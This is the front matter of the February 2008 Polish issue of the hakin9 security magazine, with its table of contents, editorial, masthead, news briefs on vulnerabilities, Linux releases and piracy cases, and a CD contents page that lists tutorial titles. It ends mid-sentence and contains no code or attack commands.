hakin9 

02/2008 PL

4

www.hakin9.org

hakin9 Nr 2/2008

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  garść  najciekawszych  wiadomości 

ze  świata  bezpieczeństwa  systemów  informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Kaspersky Internet Security 7

12

AVG Internet Security 7.5

13

Początki

Sniffing i wardriving – zabezpiecz się

Konrad Witaszczyk

14

Ostatnio, popularny stał się wardriving – wyszukiwa-

nie sieci bezprzewodowych. Niektórzy nie poprzesta-

ją na wyszukaniu sieci i kradną dane. Artykuł pokaże, 

w  jaki  sposób  powinniśmy  się  zabezpieczyć  przed 

takimi atakami.

Atak

Hakowanie PuTTY

Dawid Gołuński

18

Jak zmodyfikować skompilowaną aplikację na przy-

kładzie klienta SSH – PuTTY? O tym dowiedzą się 

Państwo czytając tekst Dawida Gołuńskiego.

Podglądanie pulpitu

Sławomir Orłowski

30

Jak  z  poziomu  kodu  C#  utworzyć  połączenie  TCP 

i  wysłać  dane  za  pomocą  protokołu  UDP?  W  jaki 

sposób  używać  komponentów  klasy  Backgroun-

dWorker  oraz  jak  używać  strumieni  do  programo-

wania sieciowego? Odpowiedzi na te pytania znajdą 

Państwo w artykule.

Edycja zasobów w plikach wykony-

walnych

Damian Daszkiewicz

38

Tekst o sposobach przeglądania, eksportowania i edy-

towania zasobów w plikach wykonywalnych autorstwa 

Damiana Daszkiewicza.

Witam!

Luty. Za oknami zima. Na ulicach śnieg, przechodnie opatu-

leni w ciepłe czapki i szaliki. W taką pogodę dobrze zostać 

w domu, siąść w fotelu i napić się ciepłej herbaty z cytryną. 

A jeszcze lepiej rozsiąść się wygodnie w ulubionym fotelu i 

popijając ciepłą herbatę z cytryną zanurzyć się w lekturze 

magazynu hakin9.

A  w  nim,  jak  co  miesiąc  –  nowości,  prezenty,  ciekawe 

artykuły.  Wśród  nich  wart  polecenia  temat  numeru  Hako-

wanie PuTTY autorstwa Dawida Gołuńskiego, który pokaże 

nam, jak zmodyfikować aplikację bez dostępu do kodu źró-

dłowego oraz Nowa generacja IDS, czyli ISA Server 2006 

w testach, w którym Paulina Januszkiewicz opisuje, w jaki 

sposób  ISA  Server  reaguje  na  poszczególne  zagrożenia 

i  anomalie  ruchu  sieciowego,  w  jaki  sposób  administrator 

informowany  jest  o  zdarzeniach,  a  także  czy  ISA  Server 

2006 sprawdza się jako system wykrywania włamań.

W międzyczasie można zasiąść do komputera i zainsta-

lować na nim programy dostępne na nowej płycie CD. W tym 

numerze hakin9'u trzy programy do wyboru – przede wszyst-

kim Norman Ad-Aware SE Plus, który zapewnia swoim użyt-

kownikom kompleksową ochronę przeciw programom typu 

spyware oraz adware. Jeżeli chcą Państwo zapewnić swo-

jemu komputerowi jeszcze większe bezpieczeństwo, można 

zainstalować  jedną  z  najbezpieczniejszych  przeglądarek 

– e-Capsule Private Browser, którą udostępniamy na płycie. 

Zamknąć komputer pomoże Państwu program RSHUT Pro, 

a wtedy można powrócić do lektury magazynu.

Zapraszam!

Barbara Czułada

4

www.hakin9.org

hakin9 Nr 2/2008

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Nowa generacja IDS, 

czyli ISA Server 2006 w testach

Paulina Januszkiewicz

42

ISA Server jest zaawansowanym systemem zapobie-

gania włamaniom. Testy przeprowadzone w tym arty-

kule  wykażą,  czy  ISA  Server  dobrze  spełnia  swoje 

zadanie wykrywania ataków.

Wiarygodność testów programów 

antywirusowych

Jakub Dębski

58

Testy  programów  antywirusowych  wzbudzają  wiele 

emocji. Jakub Dębski opisuje, jak są przeprowadzane.

Helix – analiza powłamaniowa

Grzegorz Błoński

64

Analiza powłamaniowa – mimo tego, iż jest to zada-

nie bardzo trudne, czasochłonne i wymagające dużej 

wiedzy oraz cierpliwości podczas jego wykonywania 

– nie musi być niemożliwe do wykonania. O tym prze-

konuje Grzegorz Błoński.

Księgozbiór

72

Recenzujemy książki CCNA semestr 1, 2, 3 oraz 4.

Wywiad

74

Wywiad z Witosławem Wolańskim z 

Banku Nordea

Katarzyna Juszczyńska, Robert Gontarski

Rozmowa ze specjalistą ds. polityki bezpieczeństwa 

systemu IT w Banku Nordea.

Klub techniczny

Kerio MailServer jako system 

poczty i pracy grupowej dla firm

77

Felieton

78

Socjo-cyber-piraci przestrzeni

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu magazynu hakin9 nr 3/2008.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka: Barbara Czułada

barbara.czulada@software.com.pl

Wyróżnieni betatesterzy: Marcin Kulawinek, Błażej Obiała

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Anna Osiecka anna.osiecka@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

IT Underground 2007

W dniach 7-9 listopada w Warsza-

wie, w siedzibie Mercedes Polska, 

odbyła się największa w Europie 

Wschodniej konferencja poświę-

cona bezpieczeństwu komputero-

wemu – IT Underground, podczas 

której światowej klasy specjaliści 

podzielili się swoją wiedzą 

i doświadczeniem na temat technik 

penetracji systemów informatycz-

nych i metod zabezpieczania się 

przed atakiem.

DebugView pozwala na 

eskalację przywilejów

iDefense odkryło, że służący do 

debugowania aplikacji program 

Microsoftu – DebugView zawie-

ra lukę w kodzie, która pozwala 

na podniesienie uprawnień zwy-

kłego użytkownika. DebugView 

używa funkcji dbgv.sys zawartej 

w kernelu, która może być użyta 

do skopiowania danych użytkow-

nika w praktycznie dowolne miej-

sce w pamięci. 

Zgodnie z doniesieniami, istnie-

je możliwość zapisania przez ata-

kującego swojego kodu do pamię-

ci, a następnie wykonania go. Bug 

został wykryty w wersji 4.60.0.0 

funkcji dbgv.sys, której używał 

DebugView w wersji 4.64. Micro-

soft wypuścił wersję aplikacji 4.72, 

usuwającą lukę.

Luka w bibliotekach Perla

Biblioteki Perla (PCRE, Perl 

Compatible Regular Expressions) 

odpowiedzialne za przetwarza-

nie wyrażeń regularnych zawiera-

ją lukę, która może zostać wyko-

rzystana przez napastnika do 

wstrzyknięcia swojego, złośliwe-

go kodu do działającej aplikacji 

napisanej właśnie w Perlu. 

Problem jest wynikiem błędne-

go alokowania pamięci podczas 

przetwarzania wyrażeń regular-

nych. 

Każdy obcy kod, który uda się 

podrzucić hakerowi, w rzeczywi-

stości zostanie uruchomiony z 

prawami zaatakowanej aplikacji. 

Tavis Ormandy z Google Securi-

ty odkrył kilka luk w PCRE, które 

pozwalają na wykonanie złośliwe-

go kodu, co potwierdza również 

Debian Team informując, 

że znane są sposoby przepełnie-

nia bufora właśnie w tych biblio-

tekach.

Student UW mistrzem Polski 

w programowaniu

S

tudent  Uniwersytetu  Warszaw-
skiego, Marek Cygan, okazał się 

najlepszym  i  najszybszym  zawod-
nikiem  II  Internetowych  Mistrzostw 
Polski  w  Programowaniu.  Organi-
zatorem  imprezy  była  firma  Asseco 
Business  Solutions  Pion  Bizneso-
wy  Safo.  W  internetowych  mistrzo-
stwach  wzięło  udział  1170  osób, 
zmagając  się  w  czterech  turach 
z  dwunastoma  zadaniami.  Serwer 
skompilował  i  ocenił  10165  nade-
słanych  programów.  Szczegółowy 
ranking  zawodów  dostępny  jest  na 
stronie:  http://opss.safo.biz/?menu=
comp&sub=rank&comp=9

Tegoroczne  zawody  charakte-

ryzowały  się  ostrą  i  zaciętą  walką 
o  tytuł  mistrza.  Poziom  przysyła-
nych do nas prac był bardzo wysoki. 
Cieszy nas bardzo rosnące zaintere-
sowanie  konkursem  i  udział  w  nim 
tak  wielu  zdolnych  młodych  ludzi. 
Ponad  połowę  uczestników  stano-
wili  uczniowie  i  studenci,  w  wieku 
od 17 do 21 lat. Potwierdza to opinię 
o  drzemiącym  w  młodych  Polakach 
potencjale informatycznym. Mistrzo-
stwa stanowią zaś niebywałą okazję, 
aby wyłowić i ukształtować nieprze-
ciętne talenty – mówi Maciej Maniec-
ki,  wiceprezes  Asseco  Business 
Solutions.

Oto  pierwsza  dziesiątka  najlep-

szych uczestników:

•   Marek Cygan, Żołędowo (nagroda 

– notebook Lenovo 3000 N200)

•   Marcin Andrychowicz, Grójec (no-

tebook Lenovo 3000 N200)

•   Jakub  Radoszewski,  Poznań 

(Pocket PC z telefonem komórko-
wym Asus P526)

•   Jarosław Błasiok, Gostyń (kompu-

ter  kieszonkowy  HP  iPaq  rx5710 
Travel Companion)

•   Piotr Mikulski, Szczecin (komputer 

kieszonkowy Acer PDA C530)

•   Szymon  Wrzyszcz,  Grudziądz 

(drukarka HP PhotoSmart D7160)

•   Michał  Bartoszkiewicz,  Wrocław 

(dysk zewnętrzny WD Passport II 
120GB USB2.0)

•   Mateusz  Rukowicz,  Kamienna 

Góra  (kamera  internetowa  Logi-
tech Quickcam Pro 9000)

•   Paweł  Gawrychowski,  Wrocław 

(pamięć  Kingston  DataTraveler  II 
Plus Migo 4GB)

•   Aleksander  Piotrowski,  Lisi  Ogon 

(pamięć  Kingston  DataTraveler  II 
Plus Migo 2GB)

Marek Cygan był jednym z trzech stu-
dentów  UW  –  obok  Filipa  Wolskiego 
i Marcina Pilipczuka – którzy w marcu 
bieżącego  roku  wygrali  Akademickie 
Mistrzostwa Świata w Programowaniu 
Zespołowym. W finale, który odbył się 
w Japonii, Polacy pokonali 88 drużyn 
z  Europy,  Azji,  obu  Ameryk,  Afryki 
i Bliskiego Wschodu oraz Południowe-
go Pacyfiku. Na rozwiązanie 10 zadań 
mieli  pięć  godzin.  Błyskawicznie  roz-
wiązali pierwsze zadanie (po 13 minu-
tach), natychmiast wychodząc na pro-
wadzenie.

Asseco  Business  Solutions  SA 

dostarcza  wysokiej  jakości  rozwią-
zania  informatyczne  dla  przedsię-
biorstw,  niezależnie  od  ich  wielko-
ści,  branży  i  specyfiki.  Działając 
w ramach Grupy Kapitałowej Asseco, 
firma operuje jako Centrum Kompe-
tencyjne odpowiedzialne za systemy 
ERP,  oprogramowanie  dla  małych 
i  średnich  przedsiębiorstw,  outsour-
cing, data center oraz rozwiązania w 
zakresie e-learningu.

Rysunek 1. 

Marek Cygan

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Ubuntu Gutsy Gibbon

Ukazała się nowa wersja dystry-

bucji Ubuntu 7.10 o nazwie kodo-

wej Gutsy Gibbon. W nowym 

Ubuntu znajdziemy między innymi 

środowisko GNOME w wersji 

2.20, domyślnie włączone efekty 

graficzne Compiz Fusion i zain-

stalowaną wtyczkę Gnash do 

odtwarzania animacji Flash. 

Ubuntu Gutsy Gibbon zawie-

ra jądro 2.6.22 i podsystem gra-

fiki Xorg 7.3 z obsługą RandR 

1.2 oraz z xserver 1.4. Pojawi-

ły się także sterowniki do niektó-

rych tzw. winmodemów. Twórcy 

Ubuntu poprawili ponadto system 

raportowania przy instalacji i aktu-

alizacjach pakietów, a także zgła-

szania padów jądra, które będą 

wyłapywane podczas restartu. 

Ubuntu to kompletna dystrybucja 

systemu operacyjnego GNU/Linux 

bazująca na dystrybucji Debian. 

Projekt sponsorowany jest przez 

firmę Marka Shuttlewortha Cano-

nical Ltd. Słowo ubuntu pochodzi 

z języków plemion Zulu i Xhosa 

zamieszkujących południową 

Afrykę i oznacza człowieczeństwo 

wobec innych. Głównym celem 

dystrybucji jest dostarczenie zwy-

kłym użytkownikom kompletnego, 

otwartego systemu, który będzie 

łatwy w obsłudze oraz jednocze-

śnie stabilny, niezawodny i nowo-

czesny. Ubuntu wydawane jest 

w regularnych (w miarę możliwo-

ści – sześciomiesięcznych) odstę-

pach czasowych. Pierwsze wyda-

nie Ubuntu ukazało się 20 paź-

dziernika 2004 roku jako tymcza-

sowa odmiana dystrybucji Debian 

GNU/Linux.

Uwaga na programy zabez-

pieczające

Znany amerykański kryptograf 

i specjalista z zakresu bezpieczeń-

stwa teleinformatycznego, Bruce 

Schneier, zalecał podczas kon-

ferencji RSA Conference Europe 

2007, by nie wierzyć zbytnio pro-

duktom mającym zapewnić bezpie-

czeństwo: Z przyczyn ideologicz-

nych bądź marketingowych pro-

dukty te są przedstawiane jako 

bezpieczne. Ludzie sprzedający 

karty elektroniczne zrobią wszyst-

ko, by przekonać nas, że są one 

rozwiązaniem problemów związa-

nych z bezpieczeństwem. Skoro 

dla wszystkich jest to dobre rozwią-

zanie, to i dla mnie również.

Domena IFPI.com w rękach 

The Pirate Bay

S

zwedzki serwis ThePirateBay.org 
przejął  domenę  www.IFPI.com, 

która należała do International Fede-
ration  of  the  Phonographic  Industry 
(IFPI) – znanej na całym świecie orga-
nizacji  antypirackiej.  Administratorzy 
The  Pirate  Bay  zaprzeczają,  jakoby 
dokonali jej nielegalnego przejęcia. Ich 
zdaniem, IFPI nie dokonała przedłuże-
nia rejestracji, co wykorzystał pewien 
anonimowy  internauta,  który  natych-
miast wykupił domenę, po czym ofia-
rował  ją  serwisowi  ThePirateBay.org. 
Brokep,  jeden  z  administratorów  The 
Pirate  Bay,  tak  podsumował  przed-
sięwzięcie: International Federation of 
Pirates Interests (IFPI) jest nową orga-
nizacją,  którą  zakładamy,  by  mówić 
o piractwie.

The Pirate Bay poszukują również 

nowej wyspy. Informacja o zamiarze 
zakupienia  mikro-państwa  Sealan-
dii,  podana  przez  TPB  na  początku 
tego  roku,  wzbudziła  wiele  emocji, 
jednak  książę  Sealandii,  powiedział 
w  wywiadzie  dla  CBC  The  Hour, 
że nie pozwoli piratom zakupić swo-
jego  państewka.  Administratorzy 
The Pirate Bay nie ujawnili jeszcze, 
jaką  wyspę  braliby  pod  uwagę,  tłu-
macząc się, że ostatnio nie mieli na 

to czasu: Projekt Sealandii pochłonął 
cały nasz czas i nie mogliśmy zasad-
niczo  zrobić  nic  innego,  powiedział 
Brokep.  Pieniądze  zostaną  wydane 
na  wyspę,  ale  najpierw  musimy  się 
skupić na nadchodzących sprawach 
sądowych, które nas czekają.

The Pirate Bay jest jedną z najlepiej 

znanych stron w Internecie – najwięk-
szym światowym trackerem BitTorren-
ta,  która  także  działa  jako  wyszuki-
warka plików .torrent. I chociaż słowo 
mininova  było  jednym  z  najczęściej 
wyszukiwanych w Google, The Pirate 
Bay jest dobrze znane prasie, głównie 
ze względu na to, że przeciwstawia się 
obowiązującym  regulacjom  w  prawie 
autorskim,  a  także  walczy  o  równy 
dostęp  do  materiałów  dla  wszystkich 
użytkowników. 

Ponieważ BitTorrent bardzo dobrze 

radzi sobie z dużymi plikami, technolo-
gia ta stała się popularna wśród użyt-
kowników P2P, którzy wymieniają się 
dużymi  zestawami  muzyki,  filmami 
i  oprogramowaniem,  a  także  dyska-
mi instalacyjnymi dystrybucji Linuksa. 
TPB nie hostuje żadnych plików, któ-
rych rozpowszechnianie może ewen-
tualnie  naruszać  prawo  autorskie, 
a jedynie udostępnia pliki .torrent.

Rysunek 2. 

IFPI

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

ArcaVir 2008 już jest!

Firma ArcaVir przygotowała kolej-

ną edycję pakietu zabezpiecza-

jącego ArcaVir System Protec-

tion 2008. Oprócz już sprawdzo-

nych mechanizmów, w kolejnej 

edycji pakietu pojawiły się rów-

nież nowe rozwiązania, tj.: kon-

figuracja skanera HTTP zawie-

rająca reguły skanowania oraz 

białą listę stron, kontrola zawarto-

ści stron WWW (zintegrowana ze 

skanerem HTTP) umożliwiająca 

usuwanie aktywnych treści 

i banerów, obsługa SSL przy ska-

nowaniu poczty niewymagająca 

zmian portów i nie powodująca 

ostrzeżeń ze strony programów 

pocztowych, skanowanie proto-

kołu IMAP, nowy moduł tworzący 

raport o systemie, rozbudowana 

kwarantanna z opcją kasowania 

starych plików, nowoczesny silnik 

antywirusowy.

ArcaVir System Protection 2008 

w wersji elektronicznej do użytku 

domowego na jedno stanowisko 

można nabyć za kwotę 120 PLN. 

Wersja pudełkowa, również do 

użytku domowego, oferuje licen-

cję na 3 stanowiska w cenie 

150 PLN.

Notebooki z piratami

Policjanci z mokotowskiej komen-

dy zajmujący się zwalczaniem 

przestępczości gospodarczej 

zabezpieczyli nielegalne oprogra-

mowanie, które firma kompute-

rowa oferowała swoim klientom. 

Jak ustaliła policja, osoby kupu-

jące laptopy mogły doposażyć je 

w różne wersje pirackich progra-

mów operacyjnych i pakiety opro-

gramowania biurowego. Aresz-

towany Sławomir W. płyty z pira-

tami kupował na giełdzie kom-

puterowej, a następnie instalo-

wał to oprogramowanie na sprze-

dawanych komputerach. Laptopy 

i nośniki zostały zabezpieczone 

przez policję.

Fedora 8 udostępniona użytkownikom

U

kazała  się  nowa  wersja  dystry-
bucji  Fedora  8,  która  tworzona 

jest na bazie Red Hata. Linux jest poli-
gonem  doświadczalnym  Red  Hata  – 
w dystrybucji, przeznaczonej dla użyt-
kowników  indywidualnych,  testowane 
są  najnowsze  wersje  oprogramowa-
nia, które z czasem trafią także do Red 
Hat Enterprise Linux. Zmian w najnow-
szej  wersji  jest  bardzo  wiele,  jednak 
do najważniejszych nowości w wyda-
niu ósmym Fedory można zaliczyć: 

•  Iced  Tea  –  jest  to  otwarta,  a  co 

najważniejsze  w  pełni  darmowa 
wersja Javy.

•  Pulse Audio – to nowy domyślny 

serwer  dźwięku,  który  ma  wiele 
zalet – m. in. dynamiczną regula-
cję  dźwięku  dla  poszczególnych 
aplikacji.  Dając  większą  kontro-
lę użytkownikom, ma to być krok 
naprzód  na  obszarze  odtwarza-
nia dźwięków w systemie.

•  Pirut  –  zupełnie  nowy  edytor 

repozytoriów,  który  sprawia, 
że  dodawanie,  usuwanie,  włą-
czanie i wyłączanie repozytoriów 
staje się naprawdę łatwe.

•  CodecBuddy  –  prosta  instalacja 

kodeków.

•   NetworkManager  0.7,  a  w  nim 

m.  in.:  bezpieczniejsze  przecho-
wywanie  haseł  WPA,  obsługa 
nowego DBus API, bardziej przej-
rzysty interfejs.

•   Ulepszony  konfigurator  drukarek 

– system-config-printer.

•   Nowe  graficzne  narzędzie  kon-

figuracyjne  firewalla  –  ma  ono 
pozwolić użytkownikom na skonfi-
gurowanie zasad działania zapory 
ogniowej  w  systemie  w  znacznie 
bardziej przystępny sposób, dając 
maksimum bezpieczeństwa.

•   Usprawnienia  Menadżera  Sieci 

– został on gruntownie przepisa-
ny specjalnie dla Fedory 8, mając 
w ten sposób zapewnić większą 
stabilność,  elastyczność  i  uży-
teczność.

•   Rozszerzona  obsługa  drukarek 

–  od  teraz  dodawanie  nowych 
drukarek powinno ograniczyć się 
do  podłączenia  ich  zarówno  do 
zasilania, jak i samego kompute-
ra – sterowniki powinny dodać się 
samoczynnie.

•   Poprawione  działanie  na  lapto-

pach (hibernacja, stan wstrzyma-
nia, klawisze multimedialne).

•   Nowy system logowania Rsyslog.
•   GNOME Online Desktop. 
•   Infrastruktura Transifex do zarzą-

dzania tłumaczeniami.

Celem projektu Fedora jest budowa 
w  pełni  użytecznego  systemu  ope-
racyjnego  w  oparciu  o  wolne  opro-
gramowanie,  wydawanego  cyklicz-
nie 2-3 razy w roku.

Rysunek 3. 

Fedora 8

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Wrocławska policja przejęła 

serwery warezowe

Policjanci z Wydziału do Walki 

z Przestępczością Gospodar-

czą Komendy Wojewódzkiej Poli-

cji we Wrocławiu zabezpieczyli 6 

serwerów, za pomocą których roz-

powszechniano nieautoryzowa-

ne kopie plików multimedialnych. 

Komputery umieszczone były 

w jednym z asystenckich domów 

wrocławskiej uczelni wyższej oraz 

w mieszkaniu prywatnym 29-letnie-

go mieszkańca Wrocławia, który 

administrował siecią komputero-

wą m. in. w tym pierwszym obiek-

cie. Wśród zabezpieczonych przez 

policjantów sześciu serwerów kom-

puterowych zawierających 37 

dysków twardych o łącznej pojem-

ności 12 terabajtów były np. takie, 

które posiadały takie dyski jak: 

3x750 GB, 3x300 GB i 7x 500 GB. 

Zatrzymanemu mężczyźnie grozi 

odpowiedzialność karna w wymia-

rze pozbawienia wolności do 5 lat. 

Wrocławscy policjanci nie wyklu-

czają zatrzymań dalszych osób.

Co trzeci pracownik nie dba 

o bezpieczeństwo

Z raportu przygotowanego przez 

organizację Information Systems 

Audit and Control Association 

(ISACA) wynika, że ponad 35% 

amerykańskich pracowników biuro-

wych ignoruje obowiązujące w ich 

firmie zasady korzystania z infra-

struktury informatycznej. Wielu 

osobom wydaje się, że korzystanie 

z P2P w pracy jest zupełnie nie-

szkodliwe – jednak statystyki poka-

zują, że coraz częściej zdarzają się 

przypadki nieświadomego udostęp-

niania w sieciach bezpośredniej 

wymiany plików firmowych doku-

mentów – zarówno danych pra-

cowników, jak i klientów. Być może 

niektórym wydaje się, że 15% to 

niezbyt wiele – zwróćmy jednak 

uwagę, iż współczynnik ten ozna-

cza, że w każdej firmie zatrudniają-

cej 1000 pracowników ok. 70 osób 

aktywnie korzysta z P2P – komen-

tuje John Pironti (ISACA).

Ruszyła Polska Wszechnica Informatyczna

P

owstał nowy portal wiedzy infor-
matycznej dla studentów, wykła-

dowców oraz absolwentów wydziałów 
informatyki polskich uczelni wyższych 
–  Polska  Wszechnica  Informatycz-
na.  Pomysłodawcą  i  organizatorem 
projektu  jest  Warszawska  Wyższa 
Szkoła  Informatyki,  a  jego  partnera-
mi  –  firmy  Microsoft,  HP  oraz  Cisco 
Systems. 

W  ramach  Polskiej  Wszechnicy 

Informatycznej  udostępniane  będą 
materiały  i  pomoce  dydaktyczne 
wykorzystywane przez polskie ośrod-
ki akademickie w procesie kształcenia 
na wydziałach informatyki.

Korzystać  z  nich  będą  studenci 

i wykładowcy kierunków informatycz-
nych, jak i studenci innych kierunków 
oraz  uczniowie  szkół  średnich,  zain-
teresowani  tematyką  informatyczną. 
Wiedza informatyczna staje się coraz 
bardziej przydatna i popularna.

W  ramach  Polskiej  Wszechnicy 

Informatycznej  zgromadzone  zosta-
ną  materiały  dydaktyczne,  które 
pozwolą  zdobywać  wiedzę  informa-
tyczną w przystępnej formie.

Portal  stanie  się  kompendium 

informacji  zarówno  dla  tych,  którzy 
będą  chcieli  systematycznie  się 
uczyć, jak i tych, którzy będą potrze-
bowali doraźnej pomocy w rozwiązy-
waniu bieżących problemów informa-
tycznych  –  powiedział  Marek  Roter 
z polskiego oddziału Microsoft.

Treści materiałów dostępnych na 

portalu są zgodne z obecnie obowią-

zującymi  standardami  edukacyjny-
mi dla kierunku informatyka zatwier-
dzonymi przez Radę Główną Szkol-
nictwa  Wyższego  oraz  zaopiniowa-
ne  przez  dziewięcioosobową  radę 
programową.  W  składzie  rady  zna-
leźli się profesorowie, przedstawicie-
le ośmiu polskich wiodących uczelni 
informatycznych. 

Przewodniczącym  Rady  Nauko-

wej jest prof. dr hab. Jan Madey, Uni-
wersytet Warszawski, a jej członkami 
są: prof. dr hab. Krzysztof Diks, Uni-
wersytet  Warszawski;  prof.  dr  hab. 
inż.  Bogdan  Galwas,  Politechnika 
Warszawska;  prof.  dr  hab.  inż.  Zbi-
gniew Huzar, Politechnika Wrocław-
ska; prof. dr hab. inż. Henryk Kraw-
czyk, Politechnika Gdańska; prof. dr 
hab.  Krzysztof  Loryś,  Uniwersytet 
Wrocławski;  prof.  dr  hab.  inż.  Jerzy 
Nawrocki,  Politechnika  Poznańska; 
prof. dr hab. inż. Ryszard Tadeusie-
wicz,  Akademia  Górniczo-Hutnicza, 
Kraków; prof. dr hab. Marek Zaionc, 
Uniwersytet Jagielloński.

W  skład  Komitetu  Sterującego 

wchodzą: przewodniczący – Andrzej 
Żyławski  –  Rektor  Warszawskiej 
Wyższej Szkoły Informatyki, członko-
wie – Marek Roter, Dyrektor General-
ny Microsoft Polska; Paweł Czajkow-
ski,  Dyrektor  Generalny  HP  Polska; 
Paweł  Malak,  Dyrektor  Generalny 
CISCO  Polska;  Jan  Sokalski,  Czło-
nek  Konwentu  Warszawskiej  Wyż-
szej Szkoły Informatyki.

Rysunek 4. 

Polska Wszechnica Informatyczna

hakin9.live

hakin9 Nr 2/2008

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się dys-
trybucja  hakin9.live  (h9l)  w  wersji  4.0.2  on 
BackTrack2.0,  zawierająca  przydatne  narzę-

dzia,  dokumentację,  tutoriale  i  materiały  dodatkowe 
do artykułów. Aby zacząć pracę z hakin9.live, wystar-
czy uruchomić komputer z CD. Po uruchomieniu syste-
mu możemy zalogować się jako użytkownik hakin9 bez 
podawania hasła.

Pełne wersje programów:

•   PROSHUT Real-Time Security – wersja bez ograni-

czeń czasowych,

•   e-Capsule Private Browser - wersja 60-dniowa,
•   Norman Ad-Aware SE Plus – wersja 30-dniowa.

Tutoriale

•   tworzenie kodu pierwszego konia trojańskiego,
•   Videotutorial Metasploit3.

Filmy instruktażowe:

•   odcinek 3 – atak SQL Injection z użyciem Union Se-

lect.

Kolejny  odcinek  z  serii  filmów  instruktażowych  przed-
stawiających 

najpopularniejsze 

metody 

ataków 

na strony internetowe.

PROSHUT Real-Time Security

RSHUT  Pro  jest  rozwiązaniem  programowym,  które 
oszczędza  Twój  czas,  zamykając  za  Ciebie  komputer. 
Działa  bezpośrednio  na  Twoim  sprzęcie,  jak  i  na  zdal-
nie kontrolowanych komputerach z zainstalowanym sys-
temem Windows.

Używaj tego programu do restartowania, hibernowa-

nia i budzenia lokalnych i zdalnych komputerów przez In-
ternet lub sieć lokalną w trybie natychmiastowym lub za-
programowanym. Wszystko to możesz zrobić nie rusza-
jąc się z miejsca, bez potrzeby przechodzenia od jednej 
maszyny  do  następnej.  Ponadto  przy  użyciu  programu 
możesz dowolnie zaplanować i przesunąć w czasie za-
mykanie systemu. RSHUT Pro otworzy i zamknie stację 
dysków CD i DVD, włączy lub wyłączy wygaszacz ekranu 
oraz przełączy monitor w tryb oszczędzania energii.

e-Capsule Private Browser

Przeglądarka  e-Capsule  Internet  Browser  firmy  Enter-
prise  Information  Security  Systems  and  Technology 
(EISST) jest jednym z najbezpieczniejszych programów 
tego  typu.  Korzystając  z  niej,  użytkownik  ma  pewność, 

Zawartość CD

że  po  zamknięciu  sesji  na  komputerze  nie  pozostaną 
żadne ślady surfowania. 

Pliki tymczasowe, ciasteczka, historia przeglądanych 

stron i inne dane używane podczas przeglądania stron 
internetowych  przechowywane  są  w  pliku  zaszyfrowa-
nym 256-bitowym algorytmem AES.

Ponadto,  dzięki  przekierowaniu  połączenia  przez 

sieć anonimowych serwerów proxy, namierzenie adresu 
IP internauty korzystającego z e-Capsule jest praktycz-
nie  niemożliwe.  Dlatego  też  korzystanie  z  przeglądarki 
e-Capsule  Private  Browser  pozwala  użytkownikom  na 
swobodne korzystanie z Internetu bez obawy, że osoby 
trzecie będą w stanie uzyskać dostęp do danych używa-
nych w czasie przeglądania stron WWW.

Norman Ad-Aware SE Plus Edition

Norman  Ad-Aware  SE  Plus  oferuje  kompleksowe 
i wszechstronne narzędzia w walce z programami, któ-
rych celem jest szpiegowanie działań użytkownika (spy-
ware)  oraz  wyświetlającymi  niechciane  reklamy  pop-up 
(adware). Wersja Plus zawiera pracujące w czasie rze-
czywistym  narzędzie  Ad-Watch,  pozwalające  nie  tylko 
wykrywać  zagrożenia  Twojej  prywatności  na  kompute-
rze,  ale  w  pierwszej  kolejności  blokujące  je  przed  inte-
